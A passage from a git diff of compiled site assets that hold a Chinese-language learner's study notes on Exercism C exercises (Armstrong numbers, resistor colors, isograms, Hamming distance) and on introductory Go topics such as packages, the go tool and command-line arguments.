mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.7278em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},"1"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.7278em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},"125"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"27"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"153")])])]),s("br"),e(" 154 is not an Armstrong number, because: "),s("span",{class:"katex"},[s("span",{class:"katex-mathml"},[s("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[s("semantics",null,[s("mrow",null,[s("mn",null,"154"),s("mo",{stretchy:"false"},"!"),s("mo",null,"="),s("msup",null,[s("mn",null,"1"),s("mn",null,"3")]),s("mo",null,"+"),s("msup",null,[s("mn",null,"5"),s("mn",null,"3")]),s("mo",null,"+"),s("msup",null,[s("mn",null,"4"),s("mn",null,"3")]),s("mo",null,"="),s("mn",null,"1"),s("mo",null,"+"),s("mn",null,"125"),s("mo",null,"+"),s("mn",null,"64"),s("mo",null,"="),s("mn",null,"190")]),s("annotation",{encoding:"application/x-tex"},"154 != 1^3 + 5^3 + 4^3 = 1 + 125 + 64 = 190")])])]),s("span",{class:"katex-html","aria-hidden":"true"},[s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6944em"}}),s("span",{class:"mord"},"154"),s("span",{class:"mclose"},"!"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"1"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"5"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8141em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"4"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.7278em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},"1"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.7278em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},"125"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"64"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"190")])])]),s("br"),e(" Write some code to determine whether a number is an Armstrong number.")],-1),y=t(' 解题思路 通过循环整除10计算数字位数 通过 %10 获取末位数字, /10 去除末位数字 已知所有参数, 累加求和与原数字比较即可
Tips 第一次用 CLion 写 C 项目, 踩了一鞋坑
行分隔符 Windows 下使用 \\r\\n, 单独使用 \\r 或 \\n 要么编译报错, 要么运行奇怪 尤其是后者, 排查了半天代码没找到逻辑错误最后才发现是先前好奇行分隔符有什么用随手改了下
CMakeList.txt 有时候添加文件会自动变更 CMakeLists.txt, 需要留意下
',13),T={id:"_2021-12-21-resistor-color",tabindex:"-1"},w=s("a",{class:"header-anchor",href:"#_2021-12-21-resistor-color","aria-hidden":"true"},"#",-1),x={href:"https://exercism.org/tracks/c/exercises/resistor-color",target:"_blank",rel:"noopener noreferrer"},A=s("blockquote",null,[s("p",null,"Resistor - 电阻器")],-1),k=s("h3",{id:"instructions",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#instructions","aria-hidden":"true"},"#"),e(" Instructions")],-1),E={href:"https://github.com/exercism/problem-specifications/issues/1458",target:"_blank",rel:"noopener noreferrer"},q=t('
Each resistor has a resistance value. 每个电阻器都有一个电阻值
Resistors are small - so small in fact that if you printed the resistance value on them, it would be hard to read. 电阻器一般比较小, 所以如果将其电阻值印在上面, 就很难看
To get around this problem, manufacturers print color-coded bands onto the resistors to denote their resistance values. Each band has a position and a numeric value. 为了解决这个问题, 厂商会在电阻器上印上颜色编码带
来表示它们的电阻值. 每个带
有对应的位置和数值
The first 2 bands of a resistor have a simple encoding scheme: each color maps to a single number. 电阻器的前两个圈带有简单的编码方案: 每个颜色都映射到一个单一的数字
In this exercise you are going to create a helpful program so that you don't have to remember the values of the bands. 在这个练习中, 你要创建一个有用的程序, 以便你不必记住带的值
These colors are encoded as follows:
Black: 0 Brown: 1 Red: 2 Orange: 3 Yellow: 4 Green: 5 Blue: 6 Violet: 7 Grey: 8 White: 9
The goal of this exercise is to create a way: 这个练习的目标是创建一个方式:
to look up the numerical value associated with a particular color band 查找与特定颜色带相关的数值 to list the different band colors 列出不同的颜色带 Mnemonics map the colors to the numbers, that, when stored as an array, happen to map to their index in the array: Better Be Right Or Your Great Big Values Go Wrong. 映射颜色到数字, 当存储为数组时, 它们会映射到数组的索引: 映射最好准确否则将可能得到错误的 big values
解题思路 这题给的模板很简略, 就给了一个枚举类型的定义框架, 函数需要去看测试用例来确定返回值, 函数名以及参数
测试用例里用到了两个函数, color_code(WHITE)
和 colors()
color_code()
的参数为头文件中定义的枚举类型参数, 返回值看测试用例应当是整数
colors()
的参数为空, 返回值看测试用例应当是一个枚举数组, 不过需要注意的是返回数组实际上返回的是一个指针, 因此则需要指针指向的数组是不可变的也即该数组不应随着函数调用结束而释放, 因此该数组应当是静态的
code resistor_color.h resistor_color.c
Tips 枚举类型 ',25),G={href:"https://www.cnblogs.com/yaowen/p/4785342.html",target:"_blank",rel:"noopener noreferrer"},S=s("hr",null,null,-1),C={id:"_2021-12-22-isogram",tabindex:"-1"},N=s("a",{class:"header-anchor",href:"#_2021-12-22-isogram","aria-hidden":"true"},"#",-1),R={href:"https://exercism.org/tracks/c/exercises/isogram",target:"_blank",rel:"noopener noreferrer"},z=s("hr",null,null,-1),I=s("h3",{id:"instructions-1",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#instructions-1","aria-hidden":"true"},"#"),e(" Instructions")],-1),L={href:"https://en.wikipedia.org/wiki/Isogram",target:"_blank",rel:"noopener noreferrer"},U=t('Determine if a word or phrase is an isogram.
An isogram (also known as a "nonpattern word") is a word or phrase without a repeating letter, however spaces and hyphens are allowed to appear multiple times.
Examples of isograms:
lumberjacks background downstream six-year-old The word isograms, however, is not an isogram, because the s repeats.
hyphens - 连字符
解题思路 新建一个长度为 26 默认值为 0 的整型数组, 遍历 const 字符数组, 定义一个 char ch 接收遍历到的字符, 若 ch 为大写字母则转换为小写字母, 若 ch 并非字母则继续下一步遍历, 将 ch 作为哈希表的键访问对应值, 若为 0 则说明该字符尚未出现过并将其置 1, 若为 1 则说明该字母已经出现过一次, 返回 false
也可以定义一个哈希表, 捏合上面的操作为一个哈希函数
isogram.c
Tips Exercism Segmentation fault (core dumped)
',14),M={href:"https://www.geeksforgeeks.org/core-dump-segmentation-fault-c-cpp/",target:"_blank",rel:"noopener noreferrer"},D=t('通常情况该这是由于访问了不该访问的内存导致的, 可以通过 valgrind
来检查
具体情况可能是数组下标越界, 或者是指针指向的内存已被释放或其他原因
在做此题的过程中检查了半天问题, 最终发现是 TestCase 中有 NULL, 我忘记考虑 NULL 的情况了
散点 大写字母和小写字母可以通过 - 'A'
和 - 'a'
获取其在字母表中的相对位置 字符串以 '\\0' 结尾, 可借此遍历字符数组 ',7),H={id:"_2021-12-23-hamming",tabindex:"-1"},B=s("a",{class:"header-anchor",href:"#_2021-12-23-hamming","aria-hidden":"true"},"#",-1),O={href:"https://exercism.org/tracks/c/exercises/hamming",target:"_blank",rel:"noopener noreferrer"},Q=s("blockquote",null,[s("p",null,[e("hamming distance 汉明间距;代码间距;汉娩距"),s("br"),e(" hamming code 汉明码(误差检验及纠正码)")])],-1),W=s("h3",{id:"instructions-2",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#instructions-2","aria-hidden":"true"},"#"),e(" Instructions")],-1),V={href:"https://rosalind.info/problems/hamm/",target:"_blank",rel:"noopener noreferrer"},Y=t(`Calculate the Hamming Distance between two DNA strands. 计算两个 DNA 片段的汉明间距
Your body is made up of cells that contain DNA. Those cells regularly wear out and need replacing, which they achieve by dividing into daughter cells. In fact, the average human body experiences about 10 quadrillion cell divisions in a lifetime! 身体由细胞组成, 细胞内含 DNA. 细胞每天都会衰老, 需要代谢, 它们通过分裂来完成代谢. 实际上, 人类的身体在一生中经历了 10 千万亿次细胞分裂.
When cells divide, their DNA replicates too. Sometimes during this process mistakes happen and single pieces of DNA get encoded with the incorrect information. If we compare two strands of DNA and count the differences between them we can see how many mistakes occurred. This is known as the "Hamming Distance". 细胞分裂时, DNA 也会复制. 有时候会发生错误, 有些 DNA 片段会被编码为错误的信息. 如果我们比较两个 DNA 片段, 并计算两个片段之间的不同, 我们可以看到产生了多少错误. 这称为 "汉明距".
We read DNA using the letters C,A,G and T. Two strands might look like this:
GAGCCTACTAACGGGAT
+CATCGTAATGACGGCCT
+^ ^ ^ ^ ^ ^^
+
They have 7 differences, and therefore the Hamming Distance is 7.
The Hamming Distance is useful for lots of things in science, not just biology, so it's a nice phrase to be familiar with 😃
The Hamming distance is only defined for sequences of equal length, so an attempt to calculate it between sequences of different lengths should not work. The general handling of this situation (e.g., raising an exception vs returning a special value) may differ between languages.
解题思路 hamming.h
#ifndef HAMMING_H
+#define HAMMING_H
+
+int compute(const char *lhs, const char *rhs);
+
+#endif
+
就只有一个计算函数Tests#include "test-framework/unity.h"
+#include "hamming.h"
+void setUp(void)
+{
+}
+void tearDown(void)
+{
+}
+static void test_empty_strands(void)
+{
+ TEST_ASSERT_EQUAL(0, compute("", ""));
+}
+static void test_single_identical_strands(void)
+{
+ TEST_IGNORE(); // delete this line to run test
+ TEST_ASSERT_EQUAL(0, compute("A", "A"));
+}
+static void test_single_letter_different_strands(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(1, compute("G", "T"));
+}
+static void test_long_identical_strands(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(0, compute("GGACTGAAATCTG", "GGACTGAAATCTG"));
+}
+static void test_long_different_strands(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(9, compute("GGACGGATTCTG", "AGGACGGATTCT"));
+}
+static void test_disallow_first_strand_when_longer(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(-1, compute("AATG", "AAA"));
+}
+static void test_disallow_second_strand_when_longer(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(-1, compute("ATA", "AGTG"));
+}
+static void test_disallow_empty_first_strand(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(-1, compute("", "G"));
+}
+static void test_disallow_empty_second_strand(void)
+{
+ TEST_IGNORE();
+ TEST_ASSERT_EQUAL(-1, compute("G", ""));
+}
+int main(void)
+{
+ UnityBegin("test_hamming.c");
+ RUN_TEST(test_empty_strands);
+ RUN_TEST(test_single_identical_strands);
+ RUN_TEST(test_single_letter_different_strands);
+ RUN_TEST(test_long_identical_strands);
+ RUN_TEST(test_long_different_strands);
+ RUN_TEST(test_disallow_first_strand_when_longer);
+ RUN_TEST(test_disallow_second_strand_when_longer);
+ RUN_TEST(test_disallow_empty_first_strand);
+ RUN_TEST(test_disallow_empty_second_strand);
+ return UnityEnd();
+}
+
观察测试用例可以发现, 当两字符串长度不同时返回 -1 当两字符串长度相同时且两字符串完全一致时,返回 0, 否则返回不同的字符数 那这就没什么难度了, 用 string.h
中的 strlen
函数来计算字符串长度, 不同则返回 -1 否则定义并初始化计数器, 遍历字符串找出不同字符数目即可
Hamming.c
`,14);function j(F,P){const a=l("ExternalLinkIcon");return r(),c("div",null,[m,s("h2",d,[p,e(),s("a",h,[e("2021-12-20-Armstrong Numbers"),n(a)])]),u,s("p",null,[s("a",g,[e("Narcissistic number - Wikipedia"),n(a)])]),v,b,_,f,y,s("h2",T,[w,e(),s("a",x,[e("2021-12-21-Resistor Color"),n(a)])]),A,k,s("p",null,[s("a",E,[e("Maud de Vries, Erik Schierboom"),n(a)])]),q,s("blockquote",null,[s("p",null,[s("a",G,[e("C语言--enum,typedef enum 枚举类型详解 - 哈哈呵h - 博客园 (cnblogs.com)"),n(a)])])]),S,s("h2",C,[N,e(),s("a",R,[e("2021-12-22-Isogram"),n(a)])]),z,I,s("blockquote",null,[s("p",null,[s("a",L,[e("Heterogram (literature)"),n(a)])])]),U,s("blockquote",null,[s("p",null,[s("a",M,[e("Core Dump (Segmentation fault) in C/C++ - GeeksforGeeks"),n(a)])])]),D,s("h2",H,[B,e(),s("a",O,[e("2021-12-23-Hamming"),n(a)])]),Q,W,s("p",null,[s("a",V,[e("The Calculating Point Mutations problem at Rosalind"),n(a)])]),Y])}const X=i(o,[["render",j],["__file","C.html.vue"]]);export{X as default};
diff --git a/assets/C.html-56fb13ba.js b/assets/C.html-56fb13ba.js
new file mode 100644
index 0000000000..6220635158
--- /dev/null
+++ b/assets/C.html-56fb13ba.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-0fe45490","path":"/CS/foundation/C/C.html","title":"C","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"2021-12-20-Armstrong Numbers","slug":"_2021-12-20-armstrong-numbers","link":"#_2021-12-20-armstrong-numbers","children":[{"level":3,"title":"Instruction","slug":"instruction","link":"#instruction","children":[]},{"level":3,"title":"解题思路","slug":"解题思路","link":"#解题思路","children":[]},{"level":3,"title":"Tips","slug":"tips","link":"#tips","children":[]}]},{"level":2,"title":"2021-12-21-Resistor Color","slug":"_2021-12-21-resistor-color","link":"#_2021-12-21-resistor-color","children":[{"level":3,"title":"Instructions","slug":"instructions","link":"#instructions","children":[]},{"level":3,"title":"解题思路","slug":"解题思路-1","link":"#解题思路-1","children":[]},{"level":3,"title":"code","slug":"code","link":"#code","children":[]},{"level":3,"title":"Tips","slug":"tips-1","link":"#tips-1","children":[]}]},{"level":2,"title":"2021-12-22-Isogram","slug":"_2021-12-22-isogram","link":"#_2021-12-22-isogram","children":[{"level":3,"title":"Instructions","slug":"instructions-1","link":"#instructions-1","children":[]},{"level":3,"title":"解题思路","slug":"解题思路-2","link":"#解题思路-2","children":[]},{"level":3,"title":"Tips","slug":"tips-2","link":"#tips-2","children":[]}]},{"level":2,"title":"2021-12-23-Hamming","slug":"_2021-12-23-hamming","link":"#_2021-12-23-hamming","children":[{"level":3,"title":"Instructions","slug":"instructions-2","link":"#instructions-2","children":[]},{"level":3,"title":"解题思路","slug":"解题思路-3","link":"#解题思路-3","children":[]}]}],"git":{"createdTime":1667829676000,"updatedTime":1667829676000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":6.71,"words":2013},"filePathRelative":"CS/foundation/C/C.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data};
diff --git "a/assets/CH1-\345\205\245\351\227\250.html-52d1383e.js" "b/assets/CH1-\345\205\245\351\227\250.html-52d1383e.js"
new file mode 100644
index 0000000000..76a4c24d5f
--- /dev/null
+++ "b/assets/CH1-\345\205\245\351\227\250.html-52d1383e.js"
@@ -0,0 +1,428 @@
+import{_ as u}from"./plugin-vue_export-helper-c27b6911.js";import{r as i,o as d,c as r,b as n,e as s,d as a,w as o,f as e}from"./app-880c6425.js";const k={},m=e(' CH1 入门 ',4),v={href:"https://gopl-zh.github.io/ch1/ch1.html",target:"_blank",rel:"noopener noreferrer"},g=n("hr",null,null,-1),b=n("p",null,"Go 语言有时候被描述为“类 C 语言”,或者是“21 世纪的 C 语言”。Go 从 C 语言继承了相似的表达式语法、控制流结构、基础数据类型、调用参数传值、指针等很多思想,还有 C 语言一直所看中的编译后机器码的运行效率以及和现有操作系统的无缝适配。",-1),h=n("p",null,"在第一章会介绍 Go 语言的基础组件, 提供足够的信息以及示例程序, 目的在于帮助读者尽快入门, 写出有用的程序",-1),f=n("hr",null,null,-1),_=n("h2",{id:"ch1-1-hello-world",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#ch1-1-hello-world","aria-hidden":"true"},"#"),s(" ch1.1 Hello World")],-1),q={href:"https://gopl-zh.github.io/ch1/ch1-01.html",target:"_blank",rel:"noopener noreferrer"},y=n("hr",null,null,-1),w=e(`需要先初始化一个 Go 应用
+go mod init GoLearning
+
比如新建一个 HelloWorld.go
package main
+
+import "fmt"
+
+func main ( ) {
+ fmt. Println ( "Hello World" )
+}
+
Go 是一门编译型语言(静态编译), Go 语言的工具链将源代码及其依赖转换成计算机的机器指令
Go 语言提供的工具都可以使用 go
命令来调用, 其包含一系列子命令, 比如
run
命令可以编译一个或多个以 .go
结尾的源文件, 链接库文件, 并运行最终生成的可执行文件build
命令可以将 .go
源文件编译生成对应的可执行的二进制文件, 由于是静态编译, 从而不用担心在系统库更新的时候会产生冲突终端执行 go run HelloWorld.go
或者利用 VSCode+Go 扩展 F5 直接运行此 go 程序文件
Go 语言原生支持 Unicode, 可以处理全世界任何语言的文本
run
命令:
build
命令
包管理 Go 语言的代码通过 包(package)
组织, package
类似于其他语言中的 库(libraries)
或者 模块(modules)
一个 package
由位于单个目录下的一个或者多个 .go
源代码文件组成,目录定义 package
的作用。
每个源文件都以一条 package
声明语句开始,这个例子里就是 package main
,表示该文件属于哪个包,紧跟着一系列导入(import)的包,之后是存储在这个文件里的程序语句。
Go 的标准库提供了 100 多个 package
, 以支持常见功能,如输入、输出、排序以及文本处理。比如:
package main main
包比较特殊。它定义了一个独立可执行的程序,而不是一个库。在 main
里的 main
函数 也很特殊,它是整个程序执行时的入口(译注:C 系语言差不多都这样)。main
函数所做的事情就是程序做的。当然了,main
函数一般调用其它包里的函数完成很多工作(如:fmt.Println
)。
必须告诉编译器源文件需要哪些包,这就是跟随在 package
声明后面的 import
声明扮演的角色。hello world
例子只用到了一个包,大多数程序需要导入多个包。
必须恰当导入需要的包,缺少了必要的包或者导入了不需要的包,程序都无法编译通过。这项严格要求避免了程序开发过程中引入未使用的包(译注:Go 语言编译过程没有警告信息,争议特性之一)。
import
声明必须跟在文件的 package
声明之后。随后,则是组成程序的函数、变量、常量、类型的声明语句(分别由关键字 func
、var
、const
、type
定义)。
`,23),x=e('学到这里发现最初写的示例下意识开了个目录存放了测试文件, 然后还用了 package main
声明, 感觉不妥:
因此还是只保留根目录下的 main
作为主程序入口, 将 print hello world
另外定义一个 package
和 function
存放并在 main
中导入使用
',3),E={href:"https://stackoverflow.com/questions/38517593/relative-imports-in-go",target:"_blank",rel:"noopener noreferrer"},G={href:"https://segmentfault.com/q/1010000041390281",target:"_blank",rel:"noopener noreferrer"},A=n("hr",null,null,-1),P=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211132209441.png",alt:"image-20221113220959407"})],-1),C=e('新建了一个 pkg
目录用来统一存放自定义的 package
, 毕竟后续可能在根目录下添加 docs
, .github
之类的, 比如(随手在 Github Activity 中找了个群友 star 的) Go 项目, 目录很规整
在 pkg
目录下新建了一个 hello
目录用来存放输出语句测试文件
这里新建了两个文件, 都使用了同一个 package
名 hello_test
不过在 main
中导入包的时候仍用的 "GoLearning/pkg/hello"
, 而且如果将其中一个 package
名称改为其他名称则会触发报错, 在 "hello" 中找到了多个 package
因此合理推测一个文件目录下的 go 文件应当同属一个 package
所以为了统一格式, 不如将该目录下的所有文件的 package 名都直接用目录的名称(除了根目录下的 package main)
',2),S=n("p",null,[s("在 "),n("code",null,"main.go"),s(" 中引入了 "),n("code",null,"GoLearning/pkg/hello"),s(" 并给了它一个别名 "),n("code",null,"hello")],-1),B={href:"https://stackoverflow.com/questions/38517593/relative-imports-in-go",target:"_blank",rel:"noopener noreferrer"},F=n("hr",null,null,-1),R={href:"https://ayusummer.github.io/DailyNotes/Language/Go/Go.html#hello-world",target:"_blank",rel:"noopener noreferrer"},T=e(`
+go mod init GoLearning
+
别名不一定和包名一样, 有辨识度即可
`,4),z=n("p",null,"此外需要注意的是, 函数名称首字母一定要大写, 否则找不到",-1),H={href:"https://segmentfault.com/q/1010000041390281",target:"_blank",rel:"noopener noreferrer"},D=n("hr",null,null,-1),L=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211132228251.png",alt:"image-20221113222851217"})],-1),N=n("hr",null,null,-1),W=n("p",null,[s("除此以外, 还需要注意的是, 当模块内只有一个 go 文件时, 该 go 文件不可以 "),n("code",null,"_test"),s(" 结尾, 否则会被认为是测试文件, 如果在其他模块中需要使用此模块则会引起导入失败")],-1),I=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222138814.png",alt:"image-20221122213851749"})],-1),O=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222139098.png",alt:"image-20221122213950074"})],-1),U=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222139359.png",alt:"image-20221122213930332"})],-1),V=n("p",null,[n("code",null,"_test"),s(" 在 Go 中似乎有特殊含义, 随手写模块时需要注意(这部分内容在 Go 语言圣经第 11 章会讲)")],-1),j={href:"https://gopl-zh.github.io/ch11/ch11-01.html",target:"_blank",rel:"noopener noreferrer"},J={href:"https://gopl-zh.github.io/ch11/ch11-02.html",target:"_blank",rel:"noopener noreferrer"},M=n("hr",null,null,-1),K=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222239244.png",alt:"image-20221122223908189"})],-1),$=e(' function 一个函数的声明由 func
关键字、函数名、参数列表、返回值列表以及包含在大括号里的函数体组成。
这个例子里的 main
函数参数列表和返回值都是空的
在学习第五章时会进一步考察 function
的用法
分号的问题 Go 语言不需要在语句或者声明的末尾添加分号,除非一行上有多条语句。实际上,编译器会主动把特定符号后的换行符转换为分号,因此换行符添加的位置会影响 Go 代码的正确解析
比如行末是标识符、整数、浮点数、虚数、字符或字符串文字、关键字 break
、continue
、fallthrough
或 return
中的一个、运算符和分隔符 ++
、--
、)
、]
或 }
中的一个)。
举个例子,函数的左括号 {
必须和 func
函数声明在同一行上,且位于末尾,不能独占一行
而在表达式 x+y
中,可在 +
后换行,不能在 +
前换行
以+结尾的话不会被插入分号分隔符,但是以 x 结尾的话则会被分号分隔符,从而导致编译错误)。
引号的问题 ',10),Q={href:"https://cloud.tencent.com/developer/article/1615783",target:"_blank",rel:"noopener noreferrer"},X=n("hr",null,null,-1),Y=e('需要注意的是, Go 语言中的单引号, 双引号, 反引号的功能是各不相同的
单引号
表示 byte 类型或 rune 类型,对应 uint8 和 int32 类型,默认是 rune 类型。
byte 用来强调数据是 raw data,而不是数字; rune 用来表示 Unicode 的 code point。 双引号
才是字符串, 实际上是字符数组; 可以用索引访问某字节, 也可以用 len()
函数来获取字符串所占的字节长度
反引号
表示字符串字面量, 但不支持任何转义序列;
可以理解成 Python 中的 r"string"
, 将内部字符串原样输出, 不转义 \\n, \\t, \\r
等具有特殊含义的字符串
代码格式 Go 语言在代码格式上采取了很强硬的态度。gofmt
工具把代码格式化为标准格式,并且 go
工具中的 fmt
子命令会对指定包, 否则默认为当前目录中所有 .go
源文件应用 gofmt
命令。
译者注:
这个格式化工具没有任何可以调整代码格式的参数,Go 语言就是这么任性 这也导致了 Go 语言的 TIOBE 排名较低,因为缺少撕逼的话题)。更重要的是,这样可以做多种自动源码转换,如果放任 Go 语言代码格式,这些转换就不大可能了。 很多文本编辑器都可以配置为保存文件时自动执行 gofmt
,这样你的源代码总会被恰当地格式化。还有个相关的工具:goimports
,可以根据代码需要,自动地添加或删除 import
声明。这个工具并没有包含在标准的分发包中,可以用下面的命令安装:
',7),Z=n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,`go get golang.org/x/tools/cmd/goimports
+`)]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"})])],-1),nn=n("p",null,"VSCode 安装 Go 扩展时应该是已经装了类似的工具了, 这点在个人编辑 go 文件时体会到了",-1),sn={href:"https://gopl-zh.github.io/ch10/ch10-07.html",target:"_blank",rel:"noopener noreferrer"},an=e(` ch1.2 命令行参数 os
包以跨平台的方式,提供了一些与操作系统交互的函数和变量。程序的命令行参数可从 os
包的 Args
变量获取;
os
包外部使用 os.Args
访问该变量。
os.Args
变量是一个字符串(string)的 切片 (slice)(类似于 Python 中的切片, 是一个简化版的动态数组)
例如, 对于切片 a = [1, 2, 3, 4, 5]
可以用 a[i]
访问当个元素, 例如 a[1] = 2
可以用 a[m:n]
访问 a 的子序列, 如 a[0:2] = [1, 2, 3]
左闭右开获取数组元素
package cmd_param
+
+import (
+ "fmt"
+ "os"
+)
+
+
+func Print_cmd_args ( ) {
+
+ var getParams string
+
+ var sep string = " "
+
+ for i := 0 ; i < len ( os. Args) ; i++ {
+ getParams += os. Args[ i] + sep
+ }
+ fmt. Println ( getParams)
+}
+
+
导入多个模块时, gofmt
会按照字典序对模块名排序
注释方面与 C/C++ 一致, 单行注释用 //
, 多行注释用 /**/
//
到行末之前的内容都是注释, 会被编译器忽略
一般来说会在每个包声明前添加注释, 从整体角度对程序做个描述
var 声明定义了两个 string 类型的变量 getParams
和 sep
变量会在声明时直接初始化。如果变量没有显式初始化,则被隐式地赋予其类型的 零值 (zero value)
数值类型是 0
,字符串类型是空字符串 ""
如果要在一行里定义两个 string 变量, 可以如下书写:
var getParams, sep string
+
+
用于连接字符串
:=
是短变量声明(shrot variable declaration)的一部分, 可用于定义一个或多个变量并根据它们的初始值为这些变量赋予适当类型的语句
a += 1
与 a = a + 1
以及 a++
等价, 都是语句
相对的 , 在 C 系语言中, i++, i--
是表达式 , 存在 b = a++
的写法, 但是 Go 中不允许这样写
此外 Go 中也没有 ++i
的写法, 在 Go 中, ++
和 --
都只能放在变量名后面
Go 语言只有 for 循环 一种循环语句, for
循环有很多种形式, 其中一种就如上述代码一样, 形如:
for initialization; condition; post {
+
+}
+
三个部分不需要用括号包围, 但是要有大括号, 且 {
必须与 for 在同一行(像前面说的一样, 因为 Go 编译时会自动给每行加分号, 所以大括号单起一行过不了编译)
initialization
语句是可选的,在循环开始前执行。
initalization
如果存在,必须是一条 简单语句 (simple statement),即,短变量声明、自增语句、赋值语句或函数调用。
condition
是一个布尔表达式(boolean expression),其值在每次循环迭代开始时计算。如果为 true
则执行循环体语句
post
语句在循环体执行结束后执行,之后再次对 condition
求值。condition
值为 false
时,循环结束。
for
循环的三个部分都可以省略(分号需要保留, 用于确定位置), 当 initialization
和 post
都省略时才可以省略分号
当三个部分都省略时则构造了个无限循环(类比 Python 中的 While 1:
)
可以用 break
或者 return
语句终止循环
package main
+
+import (
+ "GoLearning/pkg/cmd_param"
+)
+
+func main ( ) {
+ cmd_param. Print_cmd_args ( )
+}
+
+
优化上述 echo 程序 在上述代码中, 命令行参数的获取是这样进行的:
for i := 0 ; i < len ( os. Args) ; i++ {
+ getParams += os. Args[ i] + sep
+}
+
那么首先需要遍历 os.Args
获取其长度, 在进入每次循环时需要先根据索引 i
遍历 os.Args
获取到 os.Args[i]
, 然后再拼接到 getParams
的末尾再拼个空格
可以使用切片来对此步骤进行优化
+func Echo_Slice ( ) {
+ var getParams, sep string
